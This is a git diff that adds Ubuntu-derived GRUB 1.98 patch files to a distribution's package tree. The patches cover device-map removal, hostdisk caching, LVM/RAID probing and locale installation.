diff --git a/sys-boot/grub/files/ubuntu-upstream-1.98/962_no_device_map.diff b/sys-boot/grub/files/ubuntu-upstream-1.98/962_no_device_map.diff
new file mode 100644
index 00000000..c129254a
--- /dev/null
+++ b/sys-boot/grub/files/ubuntu-upstream-1.98/962_no_device_map.diff
@@ -0,0 +1,112 @@
+Ubuntu: Don't generate a device map by default.
+
+diff -Nur -x '*.orig' -x '*~' grub2/util/grub-install.in grub2.new/util/grub-install.in
+--- grub2/util/grub-install.in	2010-03-22 14:11:42.000000000 +0000
++++ grub2.new/util/grub-install.in	2010-03-22 16:23:14.000000000 +0000
+@@ -39,7 +39,6 @@
+ else
+     grub_mkimage=${bindir}/`echo grub-mkelfimage | sed ${transform}`
+ fi
+-grub_mkdevicemap=${sbindir}/`echo grub-mkdevicemap | sed ${transform}`
+ grub_probe=${sbindir}/`echo grub-probe | sed ${transform}`
+ grub_editenv=${bindir}/`echo grub-editenv | sed ${transform}`
+ rootdir=
+@@ -74,7 +73,6 @@
+                           instead of the root directory
+   --grub-setup=FILE       use FILE as grub-setup
+   --grub-mkimage=FILE     use FILE as grub-mkimage
+-  --grub-mkdevicemap=FILE use FILE as grub-mkdevicemap
+   --grub-probe=FILE       use FILE as grub-probe
+   --no-floppy             do not probe any floppy drive
+   --recheck               probe a device map even if it already exists
+@@ -124,7 +122,7 @@
+     --grub-mkimage=*)
+ 	grub_mkimage=`echo "$option" | sed 's/--grub-mkimage=//'` ;;
+     --grub-mkdevicemap=*)
+-	grub_mkdevicemap=`echo "$option" | sed 's/--grub-mkdevicemap=//'` ;;
++	: ;; # compatibility only
+     --grub-probe=*)
+ 	grub_probe=`echo "$option" | sed 's/--grub-probe=//'` ;;
+     --no-floppy)
+@@ -209,14 +207,6 @@
+     exit 1
+ fi
+ 
+-set $grub_mkdevicemap dummy
+-if test -f "$1"; then
+-    :
+-else
+-    echo "$1: Not found." 1>&2
+-    exit 1
+-fi
+-
+ # Create the GRUB directory if it is not present.
+ test -d "$bootdir" || mkdir "$bootdir" || exit 1
+ test -d "$grubdir" || mkdir "$grubdir" || exit 1
+@@ -226,22 +216,14 @@
+     rm -f $device_map
+ fi
+ 
+-# Create the device map file if it is not present.
++# Make sure that there is no duplicated entry in the device map.
+ if test -f "$device_map"; then
+-    :
+-else
+-    # Create a safe temporary file.
+-    test -n "$mklog" && log_file=`$mklog`
+-
+-    $grub_mkdevicemap --device-map=$device_map $no_floppy || exit 1
+-fi
+-
+-# Make sure that there is no duplicated entry.
+-tmp=`sed -n '/^([fh]d[0-9]*)/s/\(^(.*)\).*/\1/p' $device_map \
+-    | sort | uniq -d | sed -n 1p`
+-if test -n "$tmp"; then
+-    echo "The drive $tmp is defined multiple times in the device map $device_map" 1>&2
+-    exit 1
++    tmp=`sed -n '/^([fh]d[0-9]*)/s/\(^(.*)\).*/\1/p' $device_map \
++	| sort | uniq -d | sed -n 1p`
++    if test -n "$tmp"; then
++	echo "The drive $tmp is defined multiple times in the device map $device_map" 1>&2
++	exit 1
++    fi
+ fi
+ 
+ # Copy the GRUB images to the GRUB directory.
+diff -Nur -x '*.orig' -x '*~' grub2/util/grub-mkconfig.in grub2.new/util/grub-mkconfig.in
+--- grub2/util/grub-mkconfig.in	2010-03-22 16:23:13.000000000 +0000
++++ grub2.new/util/grub-mkconfig.in	2010-03-22 16:23:57.000000000 +0000
+@@ -31,7 +31,6 @@
+ grub_cfg=""
+ grub_mkconfig_dir=${sysconfdir}/grub.d
+ 
+-grub_mkdevicemap=${sbindir}/`echo grub-mkdevicemap | sed ${transform}`
+ grub_probe=${sbindir}/`echo grub-probe | sed ${transform}`
+ 
+ # Usage: usage
+@@ -96,14 +95,6 @@
+   fi
+ fi
+ 
+-set $grub_mkdevicemap dummy
+-if test -f "$1"; then
+-    :
+-else
+-    echo "$1: Not found." 1>&2
+-    exit 1
+-fi
+-
+ set $grub_probe dummy
+ if test -f "$1"; then
+     :
+@@ -114,10 +105,6 @@
+ 
+ mkdir -p ${grub_prefix}
+ 
+-if test -e ${grub_prefix}/device.map ; then : ; else
+-  ${grub_mkdevicemap}
+-fi
+-
+ # Device containing our userland.  Typically used for root= parameter.
+ GRUB_DEVICE="`${grub_probe} --target=device /`"
+ GRUB_DEVICE_UUID="`${grub_probe} --device ${GRUB_DEVICE} --target=fs_uuid 2> /dev/null`" || true
diff --git a/sys-boot/grub/files/ubuntu-upstream-1.98/968_hostdisk_speedup.diff b/sys-boot/grub/files/ubuntu-upstream-1.98/968_hostdisk_speedup.diff
new file mode 100644
index 00000000..30ebcbea
--- /dev/null
+++ b/sys-boot/grub/files/ubuntu-upstream-1.98/968_hostdisk_speedup.diff
@@ -0,0 +1,310 @@
+Upstream: http://lists.gnu.org/archive/html/grub-devel/2010-03/msg00008.html
+Description: Optimise hostdisk device handling
+ This substantially speeds up grub-probe filesystem reads.
+
+diff -Nur -x '*.orig' -x '*~' grub2/ChangeLog.hostdisk-speedup grub2.new/ChangeLog.hostdisk-speedup
+--- grub2/ChangeLog.hostdisk-speedup	1970-01-01 01:00:00.000000000 +0100
++++ grub2.new/ChangeLog.hostdisk-speedup	2010-03-03 10:43:43.000000000 +0000
+@@ -0,0 +1,18 @@
++2010-03-03  Colin Watson  <cjwatson@ubuntu.com>
++
++	* util/hostdisk.c (struct grub_util_biosdisk_data): New structure.
++	(grub_util_biosdisk_open): Initialise disk->data.
++	(struct linux_partition_cache): New structure.
++	(linux_find_partition): Cache partition start positions; these are
++	expensive to compute on every read and write.
++	(open_device): Cache open file descriptor in disk->data, so that we
++	don't have to reopen it and flush the buffer cache for consecutive
++	operations on the same device.
++	(grub_util_biosdisk_close): New function.
++	(grub_util_biosdisk_dev): Set `close' member.
++
++	* conf/common.rmk (grub_probe_SOURCES): Add kern/list.c.
++	* conf/i386-efi.rmk (grub_setup_SOURCES): Likewise.
++	* conf/i386-pc.rmk (grub_setup_SOURCES): Likewise.
++	* conf/sparc64-ieee1275.rmk (grub_setup_SOURCES): Likewise.
++	* conf/x86_64-efi.rmk (grub_setup_SOURCES): Likewise.
+diff -Nur -x '*.orig' -x '*~' grub2/conf/common.rmk grub2.new/conf/common.rmk
+--- grub2/conf/common.rmk	2010-03-03 20:11:04.000000000 +0000
++++ grub2.new/conf/common.rmk	2010-03-03 20:11:05.000000000 +0000
+@@ -25,7 +25,7 @@
+ grub_probe_SOURCES = gnulib/progname.c util/grub-probe.c	\
+ 	util/hostdisk.c	util/misc.c util/getroot.c		\
+ 	kern/device.c kern/disk.c kern/err.c kern/misc.c	\
+-	kern/parser.c kern/partition.c kern/file.c		\
++	kern/parser.c kern/partition.c kern/file.c kern/list.c	\
+ 	\
+ 	fs/affs.c fs/cpio.c fs/fat.c fs/ext2.c fs/hfs.c		\
+ 	fs/hfsplus.c fs/iso9660.c fs/udf.c fs/jfs.c fs/minix.c	\
+diff -Nur -x '*.orig' -x '*~' grub2/conf/i386-efi.rmk grub2.new/conf/i386-efi.rmk
+--- grub2/conf/i386-efi.rmk	2010-03-03 20:08:04.000000000 +0000
++++ grub2.new/conf/i386-efi.rmk	2010-03-03 20:11:05.000000000 +0000
+@@ -21,7 +21,7 @@
+ #	kern/err.c kern/misc.c fs/fat.c fs/ext2.c fs/xfs.c fs/affs.c	\
+ #	fs/sfs.c kern/parser.c kern/partition.c partmap/msdos.c		\
+ #	fs/ufs.c fs/ufs2.c fs/minix.c fs/hfs.c fs/jfs.c fs/hfsplus.c kern/file.c	\
+-#	kern/fs.c kern/env.c fs/fshelp.c
++#	kern/fs.c kern/env.c kern/list.c fs/fshelp.c
+ 
+ # Scripts.
+ sbin_SCRIPTS = grub-install
+diff -Nur -x '*.orig' -x '*~' grub2/conf/i386-pc.rmk grub2.new/conf/i386-pc.rmk
+--- grub2/conf/i386-pc.rmk	2010-03-03 20:08:04.000000000 +0000
++++ grub2.new/conf/i386-pc.rmk	2010-03-03 20:11:05.000000000 +0000
+@@ -96,7 +96,8 @@
+ 	util/i386/pc/grub-setup.c util/hostdisk.c	\
+ 	util/misc.c util/getroot.c kern/device.c kern/disk.c	\
+ 	kern/err.c kern/misc.c kern/parser.c kern/partition.c	\
+-	kern/file.c kern/fs.c kern/env.c fs/fshelp.c		\
++	kern/file.c kern/fs.c kern/env.c kern/list.c		\
++	fs/fshelp.c						\
+ 	\
+ 	fs/affs.c fs/cpio.c fs/ext2.c fs/fat.c fs/hfs.c		\
+ 	fs/hfsplus.c fs/iso9660.c fs/udf.c fs/jfs.c fs/minix.c	\
+diff -Nur -x '*.orig' -x '*~' grub2/conf/sparc64-ieee1275.rmk grub2.new/conf/sparc64-ieee1275.rmk
+--- grub2/conf/sparc64-ieee1275.rmk	2010-03-03 20:08:04.000000000 +0000
++++ grub2.new/conf/sparc64-ieee1275.rmk	2010-03-03 20:11:05.000000000 +0000
+@@ -70,7 +70,8 @@
+ grub_setup_SOURCES = util/sparc64/ieee1275/grub-setup.c util/hostdisk.c	\
+ 	util/misc.c util/getroot.c kern/device.c kern/disk.c	\
+ 	kern/err.c kern/misc.c kern/parser.c kern/partition.c	\
+-	kern/file.c kern/fs.c kern/env.c fs/fshelp.c		\
++	kern/file.c kern/fs.c kern/env.c kern/list.c		\
++	fs/fshelp.c						\
+ 	\
+ 	fs/affs.c fs/cpio.c fs/ext2.c fs/fat.c fs/hfs.c		\
+ 	fs/hfsplus.c fs/iso9660.c fs/udf.c fs/jfs.c fs/minix.c	\
+diff -Nur -x '*.orig' -x '*~' grub2/conf/x86_64-efi.rmk grub2.new/conf/x86_64-efi.rmk
+--- grub2/conf/x86_64-efi.rmk	2010-03-03 20:08:04.000000000 +0000
++++ grub2.new/conf/x86_64-efi.rmk	2010-03-03 20:11:05.000000000 +0000
+@@ -20,7 +20,7 @@
+ #	kern/err.c kern/misc.c fs/fat.c fs/ext2.c fs/xfs.c fs/affs.c	\
+ #	fs/sfs.c kern/parser.c kern/partition.c partmap/msdos.c		\
+ #	fs/ufs.c fs/ufs2.c fs/minix.c fs/hfs.c fs/jfs.c fs/hfsplus.c kern/file.c	\
+-#	kern/fs.c kern/env.c fs/fshelp.c
++#	kern/fs.c kern/env.c kern/list.c fs/fshelp.c
+ 
+ # Scripts.
+ sbin_SCRIPTS = grub-install
+diff -Nur -x '*.orig' -x '*~' grub2/util/hostdisk.c grub2.new/util/hostdisk.c
+--- grub2/util/hostdisk.c	2010-03-03 20:11:04.000000000 +0000
++++ grub2.new/util/hostdisk.c	2010-03-03 20:11:05.000000000 +0000
+@@ -26,6 +26,7 @@
+ #include <grub/util/hostdisk.h>
+ #include <grub/misc.h>
+ #include <grub/i18n.h>
++#include <grub/list.h>
+ 
+ #include <stdio.h>
+ #include <stdlib.h>
+@@ -107,6 +108,13 @@
+   char *device;
+ } map[256];
+ 
++struct grub_util_biosdisk_data
++{
++  char *dev;
++  int access_mode;
++  int fd;
++};
++
+ #ifdef __linux__
+ /* Check if we have devfs support.  */
+ static int
+@@ -169,6 +177,7 @@
+ {
+   int drive;
+   struct stat st;
++  struct grub_util_biosdisk_data *data;
+ 
+   drive = find_grub_drive (name);
+   if (drive < 0)
+@@ -177,6 +186,10 @@
+ 
+   disk->has_partitions = 1;
+   disk->id = drive;
++  disk->data = data = xmalloc (sizeof (struct grub_util_biosdisk_data));
++  data->dev = NULL;
++  data->access_mode = 0;
++  data->fd = -1;
+ 
+   /* Get the size.  */
+ #if defined(__MINGW32__)
+@@ -367,6 +380,17 @@
+ #endif /* __linux__ || __CYGWIN__ */
+ 
+ #ifdef __linux__
++/* Cache of partition start sectors for each disk.  */
++struct linux_partition_cache
++{
++  struct linux_partition_cache *next;
++  char *dev;
++  unsigned long start;
++  int partno;
++};
++
++struct linux_partition_cache *linux_partition_cache_list;
++
+ static int
+ linux_find_partition (char *dev, unsigned long sector)
+ {
+@@ -375,6 +399,7 @@
+   char *p;
+   int i;
+   char real_dev[PATH_MAX];
++  struct linux_partition_cache *cache;
+ 
+   strcpy(real_dev, dev);
+ 
+@@ -394,6 +419,16 @@
+       format = "%d";
+     }
+ 
++  for (cache = linux_partition_cache_list; cache; cache = cache->next)
++    {
++      if (strcmp (cache->dev, dev) == 0 && cache->start == sector)
++	{
++	  sprintf (p, format, cache->partno);
++	  strcpy (dev, real_dev);
++	  return 1;
++	}
++    }
++
+   for (i = 1; i < 10000; i++)
+     {
+       int fd;
+@@ -412,6 +447,15 @@
+ 
+       if (start == sector)
+ 	{
++	  struct linux_partition_cache *new_cache_item;
++
++	  new_cache_item = xmalloc (sizeof *new_cache_item);
++	  new_cache_item->dev = xstrdup (dev);
++	  new_cache_item->start = start;
++	  new_cache_item->partno = i;
++	  grub_list_push (GRUB_AS_LIST_P (&linux_partition_cache_list),
++			  GRUB_AS_LIST (new_cache_item));
++
+ 	  strcpy (dev, real_dev);
+ 	  return 1;
+ 	}
+@@ -425,6 +469,7 @@
+ open_device (const grub_disk_t disk, grub_disk_addr_t sector, int flags)
+ {
+   int fd;
++  struct grub_util_biosdisk_data *data = disk->data;
+ 
+ #ifdef O_LARGEFILE
+   flags |= O_LARGEFILE;
+@@ -451,18 +496,35 @@
+ 	&& strncmp (map[disk->id].device, "/dev/", 5) == 0)
+       is_partition = linux_find_partition (dev, disk->partition->start);
+ 
+-    /* Open the partition.  */
+-    grub_dprintf ("hostdisk", "opening the device `%s' in open_device()\n", dev);
+-    fd = open (dev, flags);
+-    if (fd < 0)
++    if (data->dev && strcmp (data->dev, dev) == 0 &&
++	data->access_mode == (flags & O_ACCMODE))
+       {
+-	grub_error (GRUB_ERR_BAD_DEVICE, "cannot open `%s'", dev);
+-	return -1;
++	grub_dprintf ("hostdisk", "reusing open device `%s'\n", dev);
++	fd = data->fd;
+       }
++    else
++      {
++	free (data->dev);
++	if (data->fd != -1)
++	  close (data->fd);
++
++	/* Open the partition.  */
++	grub_dprintf ("hostdisk", "opening the device `%s' in open_device()\n", dev);
++	fd = open (dev, flags);
++	if (fd < 0)
++	  {
++	    grub_error (GRUB_ERR_BAD_DEVICE, "cannot open `%s'", dev);
++	    return -1;
++	  }
+ 
+-    /* Flush the buffer cache to the physical disk.
+-       XXX: This also empties the buffer cache.  */
+-    ioctl (fd, BLKFLSBUF, 0);
++	/* Flush the buffer cache to the physical disk.
++	   XXX: This also empties the buffer cache.  */
++	ioctl (fd, BLKFLSBUF, 0);
++
++	data->dev = xstrdup (dev);
++	data->access_mode = (flags & O_ACCMODE);
++	data->fd = fd;
++      }
+ 
+     if (is_partition)
+       sector -= disk->partition->start;
+@@ -486,7 +548,26 @@
+     }
+ #endif
+ 
+-  fd = open (map[disk->id].device, flags);
++  if (data->dev && strcmp (data->dev, map[disk->id].device) == 0 &&
++      data->access_mode == (flags & O_ACCMODE))
++    {
++      grub_dprintf ("hostdisk", "reusing open device `%s'\n", data->dev);
++      fd = data->fd;
++    }
++  else
++    {
++      free (data->dev);
++      if (data->fd != -1)
++	close (data->fd);
++
++      fd = open (map[disk->id].device, flags);
++      if (fd >= 0)
++	{
++	  data->dev = xstrdup (map[disk->id].device);
++	  data->access_mode = (flags & O_ACCMODE);
++	  data->fd = fd;
++	}
++    }
+ 
+ #if defined(__FreeBSD__) || defined(__FreeBSD_kernel__)
+   if (! (sysctl_oldflags & 0x10)
+@@ -646,7 +727,6 @@
+       != (ssize_t) (size << GRUB_DISK_SECTOR_BITS))
+     grub_error (GRUB_ERR_READ_ERROR, "cannot read from `%s'", map[disk->id].device);
+ 
+-  close (fd);
+   return grub_errno;
+ }
+ 
+@@ -681,17 +761,27 @@
+       != (ssize_t) (size << GRUB_DISK_SECTOR_BITS))
+     grub_error (GRUB_ERR_WRITE_ERROR, "cannot write to `%s'", map[disk->id].device);
+ 
+-  close (fd);
+   return grub_errno;
+ }
+ 
++static void
++grub_util_biosdisk_close (struct grub_disk *disk)
++{
++  struct grub_util_biosdisk_data *data = disk->data;
++
++  free (data->dev);
++  if (data->fd != -1)
++    close (data->fd);
++  free (data);
++}
++
+ static struct grub_disk_dev grub_util_biosdisk_dev =
+   {
+     .name = "biosdisk",
+     .id = GRUB_DISK_DEVICE_BIOSDISK_ID,
+     .iterate = grub_util_biosdisk_iterate,
+     .open = grub_util_biosdisk_open,
+-    .close = 0,
++    .close = grub_util_biosdisk_close,
+     .read = grub_util_biosdisk_read,
+     .write = grub_util_biosdisk_write,
+     .next = 0
diff --git a/sys-boot/grub/files/ubuntu-upstream-1.98/969_lvm_raid_probe.diff b/sys-boot/grub/files/ubuntu-upstream-1.98/969_lvm_raid_probe.diff
new file mode 100644
index 00000000..52a5c44b
--- /dev/null
+++ b/sys-boot/grub/files/ubuntu-upstream-1.98/969_lvm_raid_probe.diff
@@ -0,0 +1,227 @@
+Description: Fix LVM/RAID probing without device.map
+ When probing LVM or RAID without a device.map, probe all devices in order
+ that we will know about the underlying physical volumes.
+Bug-Ubuntu: https://bugs.launchpad.net/bugs/525085
+Forwarded: http://lists.gnu.org/archive/html/grub-devel/2010-03/msg00084.html
+Last-Update: 2010-03-22
+
+diff -Nur -x '*.orig' -x '*~' grub2/conf/common.rmk grub2.new/conf/common.rmk
+--- grub2/conf/common.rmk	2010-03-22 13:49:14.000000000 +0000
++++ grub2.new/conf/common.rmk	2010-03-22 13:53:20.000000000 +0000
+@@ -24,6 +24,7 @@
+ util/grub-probe.c_DEPENDENCIES = grub_probe_init.h
+ grub_probe_SOURCES = gnulib/progname.c util/grub-probe.c	\
+ 	util/hostdisk.c	util/misc.c util/getroot.c		\
++	util/deviceiter.c					\
+ 	kern/device.c kern/disk.c kern/err.c kern/misc.c	\
+ 	kern/parser.c kern/partition.c kern/file.c kern/list.c	\
+ 	\
+diff -Nur -x '*.orig' -x '*~' grub2/conf/i386-pc.rmk grub2.new/conf/i386-pc.rmk
+--- grub2/conf/i386-pc.rmk	2010-03-22 13:49:14.000000000 +0000
++++ grub2.new/conf/i386-pc.rmk	2010-03-22 13:49:17.000000000 +0000
+@@ -94,7 +94,8 @@
+ util/i386/pc/grub-setup.c_DEPENDENCIES = grub_setup_init.h
+ grub_setup_SOURCES = gnulib/progname.c \
+ 	util/i386/pc/grub-setup.c util/hostdisk.c	\
+-	util/misc.c util/getroot.c kern/device.c kern/disk.c	\
++	util/misc.c util/getroot.c util/deviceiter.c		\
++	kern/device.c kern/disk.c				\
+ 	kern/err.c kern/misc.c kern/parser.c kern/partition.c	\
+ 	kern/file.c kern/fs.c kern/env.c kern/list.c		\
+ 	fs/fshelp.c						\
+diff -Nur -x '*.orig' -x '*~' grub2/conf/sparc64-ieee1275.rmk grub2.new/conf/sparc64-ieee1275.rmk
+--- grub2/conf/sparc64-ieee1275.rmk	2010-03-22 13:49:14.000000000 +0000
++++ grub2.new/conf/sparc64-ieee1275.rmk	2010-03-22 13:49:17.000000000 +0000
+@@ -68,7 +68,8 @@
+ # For grub-setup.
+ util/sparc64/ieee1275/grub-setup.c_DEPENDENCIES = grub_setup_init.h
+ grub_setup_SOURCES = util/sparc64/ieee1275/grub-setup.c util/hostdisk.c	\
+-	util/misc.c util/getroot.c kern/device.c kern/disk.c	\
++	util/misc.c util/getroot.c util/deviceiter.c		\
++	kern/device.c kern/disk.c				\
+ 	kern/err.c kern/misc.c kern/parser.c kern/partition.c	\
+ 	kern/file.c kern/fs.c kern/env.c kern/list.c		\
+ 	fs/fshelp.c						\
+diff -Nur -x '*.orig' -x '*~' grub2/include/grub/util/hostdisk.h grub2.new/include/grub/util/hostdisk.h
+--- grub2/include/grub/util/hostdisk.h	2010-03-22 13:47:27.000000000 +0000
++++ grub2.new/include/grub/util/hostdisk.h	2010-03-22 13:51:33.000000000 +0000
+@@ -22,6 +22,7 @@
+ 
+ void grub_util_biosdisk_init (const char *dev_map);
+ void grub_util_biosdisk_fini (void);
++int grub_util_biosdisk_probe_device (const char *name, int is_floppy);
+ char *grub_util_biosdisk_get_grub_dev (const char *os_dev);
+ 
+ #endif /* ! GRUB_BIOSDISK_MACHINE_UTIL_HEADER */
+diff -Nur -x '*.orig' -x '*~' grub2/util/grub-probe.c grub2.new/util/grub-probe.c
+--- grub2/util/grub-probe.c	2010-03-22 13:47:27.000000000 +0000
++++ grub2.new/util/grub-probe.c	2010-03-22 13:53:10.000000000 +0000
+@@ -28,6 +28,7 @@
+ #include <grub/msdos_partition.h>
+ #include <grub/util/hostdisk.h>
+ #include <grub/util/getroot.h>
++#include <grub/util/deviceiter.h>
+ #include <grub/term.h>
+ #include <grub/env.h>
+ #include <grub/raid.h>
+@@ -106,13 +107,14 @@
+ }
+ 
+ static void
+-probe (const char *path, char *device_name)
++probe (const char *path, char *device_name, const char *dev_map)
+ {
+   char *drive_name = NULL;
+   char *grub_path = NULL;
+   char *filebuf_via_grub = NULL, *filebuf_via_sys = NULL;
+   grub_device_t dev = NULL;
+   grub_fs_t fs;
++  struct stat dev_map_stat;
+ 
+   if (path == NULL)
+     {
+@@ -136,6 +138,22 @@
+       goto end;
+     }
+ 
++  if (stat (dev_map, &dev_map_stat) == -1 &&
++      grub_util_get_dev_abstraction (device_name) != GRUB_DEV_ABSTRACTION_NONE)
++    {
++      /* If we don't have a device map, then we won't yet know about the
++         physical volumes underlying this device, so probe all devices.  */
++      grub_util_iterate_devices (grub_util_biosdisk_probe_device, 0);
++
++      /* Now reinitialise the higher layers.  */
++      grub_lvm_fini ();
++      grub_mdraid_fini ();
++      grub_raid_fini ();
++      grub_raid_init ();
++      grub_mdraid_init ();
++      grub_lvm_init ();
++    }
++
+   drive_name = grub_util_get_grub_dev (device_name);
+   if (! drive_name)
+     grub_util_error ("cannot find a GRUB drive for %s.  Check your device.map", device_name);
+@@ -428,9 +446,9 @@
+ 
+   /* Do it.  */
+   if (argument_is_device)
+-    probe (NULL, argument);
++    probe (NULL, argument, dev_map ? : DEFAULT_DEVICE_MAP);
+   else
+-    probe (argument, NULL);
++    probe (argument, NULL, dev_map ? : DEFAULT_DEVICE_MAP);
+ 
+   /* Free resources.  */
+   grub_fini_all ();
+diff -Nur -x '*.orig' -x '*~' grub2/util/hostdisk.c grub2.new/util/hostdisk.c
+--- grub2/util/hostdisk.c	2010-03-22 13:49:14.000000000 +0000
++++ grub2.new/util/hostdisk.c	2010-03-22 13:51:53.000000000 +0000
+@@ -1237,6 +1237,48 @@
+   return i;
+ }
+ 
++static void
++store_grub_dev (const char *grub_disk, const char *os_disk)
++{
++  unsigned int i;
++
++  for (i = 0; i < ARRAY_SIZE (map); i++)
++    if (! map[i].device)
++      break;
++    else if (strcmp (map[i].drive, grub_disk) == 0)
++      {
++	if (strcmp (map[i].device, os_disk) == 0)
++	  return;
++	grub_util_error (_("drive `%s' already mapped to `%s'"),
++			 map[i].drive, map[i].device);
++      }
++
++  if (i == ARRAY_SIZE (map))
++    grub_util_error (_("device count exceeds limit"));
++
++  map[i].drive = xstrdup (grub_disk);
++  map[i].device = xstrdup (os_disk);
++}
++
++static int num_hd = 0;
++static int num_fd = 0;
++
++int
++grub_util_biosdisk_probe_device (const char *name, int is_floppy)
++{
++  char *grub_disk;
++
++  if (is_floppy)
++    grub_disk = xasprintf ("fd%d", num_fd++);
++  else
++    grub_disk = xasprintf ("hd%d", num_hd++);
++
++  store_grub_dev (grub_disk, name);
++  free (grub_disk);
++
++  return 0;
++}
++
+ char *
+ grub_util_biosdisk_get_grub_dev (const char *os_dev)
+ {
+diff -Nur -x '*.orig' -x '*~' grub2/util/i386/pc/grub-setup.c grub2.new/util/i386/pc/grub-setup.c
+--- grub2/util/i386/pc/grub-setup.c	2010-03-22 13:49:13.000000000 +0000
++++ grub2.new/util/i386/pc/grub-setup.c	2010-03-22 13:53:10.000000000 +0000
+@@ -36,6 +36,7 @@
+ #include <grub/util/raid.h>
+ #include <grub/util/lvm.h>
+ #include <grub/util/getroot.h>
++#include <grub/util/deviceiter.h>
+ 
+ static const grub_gpt_part_type_t grub_gpt_partition_type_bios_boot = GRUB_GPT_PARTITION_TYPE_BIOS_BOOT;
+ 
+@@ -646,6 +647,7 @@
+   char *core_file = 0;
+   char *dir = 0;
+   char *dev_map = 0;
++  struct stat dev_map_stat;
+   char *root_dev = 0;
+   char *dest_dev;
+   int must_embed = 0, force = 0, fs_probe = 1;
+@@ -744,6 +746,9 @@
+   /* Initialize the emulated biosdisk driver.  */
+   grub_util_biosdisk_init (dev_map ? : DEFAULT_DEVICE_MAP);
+ 
++  if (stat (dev_map ? : DEFAULT_DEVICE_MAP, &dev_map_stat) == -1)
++    grub_util_iterate_devices (grub_util_biosdisk_probe_device, 0);
++
+   /* Initialize all modules. */
+   grub_init_all ();
+ 
+diff -Nur -x '*.orig' -x '*~' grub2/util/sparc64/ieee1275/grub-setup.c grub2.new/util/sparc64/ieee1275/grub-setup.c
+--- grub2/util/sparc64/ieee1275/grub-setup.c	2010-03-22 13:47:27.000000000 +0000
++++ grub2.new/util/sparc64/ieee1275/grub-setup.c	2010-03-22 13:53:10.000000000 +0000
+@@ -46,6 +46,7 @@
+ #include <sys/stat.h>
+ #include <dirent.h>
+ #include <grub/util/getroot.h>
++#include <grub/util/deviceiter.h>
+ 
+ #define _GNU_SOURCE	1
+ #include <getopt.h>
+@@ -618,6 +619,7 @@
+ main (int argc, char *argv[])
+ {
+   struct grub_setup_info ginfo;
++  struct stat dev_map_stat;
+ 
+   set_program_name (argv[0]);
+ 
+@@ -630,6 +632,9 @@
+   /* Initialize the emulated biosdisk driver.  */
+   grub_util_biosdisk_init (ginfo.dev_map ? ginfo.dev_map : DEFAULT_DEVICE_MAP);
+ 
++  if (stat (ginfo.dev_map ? : DEFAULT_DEVICE_MAP, &dev_map_stat) == -1)
++    grub_util_iterate_devices (grub_util_biosdisk_probe_device, 0);
++
+   /* Initialize all modules. */
+   grub_init_all ();
+ 
diff --git a/sys-boot/grub/files/ubuntu-upstream-1.98/970_fix_locale_installation.diff b/sys-boot/grub/files/ubuntu-upstream-1.98/970_fix_locale_installation.diff
new file mode 100644
index 00000000..ab202885
--- /dev/null
+++ b/sys-boot/grub/files/ubuntu-upstream-1.98/970_fix_locale_installation.diff
@@ -0,0 +1,55 @@
+Description: Copy .mo files from @datadir@/locale
+ This matches where 'make install' puts them.
+Origin: upstream, http://bazaar.launchpad.net/~vcs-imports/grub/grub2-bzr/revision/2265
+Bug-Ubuntu: https://bugs.launchpad.net/bugs/537998
+Forwarded: http://lists.gnu.org/archive/html/grub-devel/2010-03/msg00074.html
+Last-Update: 2010-03-22
+
+diff -Nur -x '*.orig' -x '*~' grub2/util/grub-install.in grub2.new/util/grub-install.in
+--- grub2/util/grub-install.in	2010-03-22 15:49:32.000000000 +0000
++++ grub2.new/util/grub-install.in	2010-03-22 15:54:31.000000000 +0000
+@@ -32,6 +32,7 @@
+ host_os=@host_os@
+ font=@datadir@/@PACKAGE_TARNAME@/ascii.pf2
+ pkglibdir=${libdir}/`echo ${PACKAGE_TARNAME}/${target_cpu}-${platform} | sed ${transform}`
++localedir=@datadir@/locale
+ 
+ grub_setup=${sbindir}/`echo grub-setup | sed ${transform}`
+ if [ "${target_cpu}-${platform}" = "i386-pc" ] || [ "${target_cpu}-${platform}" = "sparc64-ieee1275" ] || [ "${target_cpu}-${platform}" = "mips-yeeloong" ] ; then
+@@ -245,9 +246,9 @@
+ 
+ # Copy gettext files
+ mkdir -p ${grubdir}/locale/
+-for file in ${grubdir}/locale/*.mo ${pkglibdir}/locale/*.mo; do
+-    if test -f "$file"; then
+-        cp -f "$file" ${grubdir}/locale/
++for dir in ${localedir}/*; do
++    if test -f "$dir/LC_MESSAGES/grub.mo"; then
++        cp -f "$dir/LC_MESSAGES/grub.mo" "${grubdir}/locale/${dir##*/}.mo"
+     fi
+ done
+ 
+diff -Nur -x '*.orig' -x '*~' grub2/util/i386/efi/grub-install.in grub2.new/util/i386/efi/grub-install.in
+--- grub2/util/i386/efi/grub-install.in	2010-03-09 16:14:00.000000000 +0000
++++ grub2.new/util/i386/efi/grub-install.in	2010-03-22 15:54:31.000000000 +0000
+@@ -31,6 +31,7 @@
+ platform=@platform@
+ host_os=@host_os@
+ pkglibdir=${libdir}/`echo ${PACKAGE_TARNAME}/${target_cpu}-${platform} | sed ${transform}`
++localedir=@datadir@/locale
+ 
+ grub_mkimage=${bindir}/`echo grub-mkimage | sed ${transform}`
+ grub_mkdevicemap=${sbindir}/`echo grub-mkdevicemap | sed ${transform}`
+@@ -182,9 +183,9 @@
+ 
+ # Copy gettext files
+ mkdir -p ${grubdir}/locale/
+-for file in ${grubdir}/locale/*.mo ${pkglibdir}/locale/*.mo; do
+-    if test -f "$file"; then
+-        cp -f "$file" ${grubdir}/locale/
++for dir in ${localedir}/*; do
++    if test -f "$dir/LC_MESSAGES/grub.mo"; then
++        cp -f "$dir/LC_MESSAGES/grub.mo" "${grubdir}/locale/${dir##*/}.mo"
+     fi
+ done
+ 
diff --git a/sys-boot/grub/files/ubuntu-upstream-1.98/971_langpacks.diff b/sys-boot/grub/files/ubuntu-upstream-1.98/971_langpacks.diff
new file mode 100644
index 00000000..7e1cb897
--- /dev/null
+++ b/sys-boot/grub/files/ubuntu-upstream-1.98/971_langpacks.diff
@@ -0,0 +1,30 @@
+Description: Prefer translations from language packs
+Author: Colin Watson <cjwatson@ubuntu.com>
+Bug-Ubuntu: https://bugs.launchpad.net/bugs/537998
+Forwarded: not-needed
+Last-Update: 2010-03-22
+
+diff -Nur -x '*.orig' -x '*~' grub2/util/grub-install.in grub2.new/util/grub-install.in
+--- grub2/util/grub-install.in	2010-03-22 15:58:16.000000000 +0000
++++ grub2.new/util/grub-install.in	2010-03-22 15:59:04.000000000 +0000
+@@ -246,7 +246,7 @@
+ 
+ # Copy gettext files
+ mkdir -p ${grubdir}/locale/
+-for dir in ${localedir}/*; do
++for dir in ${localedir}/* ${localedir}-langpack/*; do
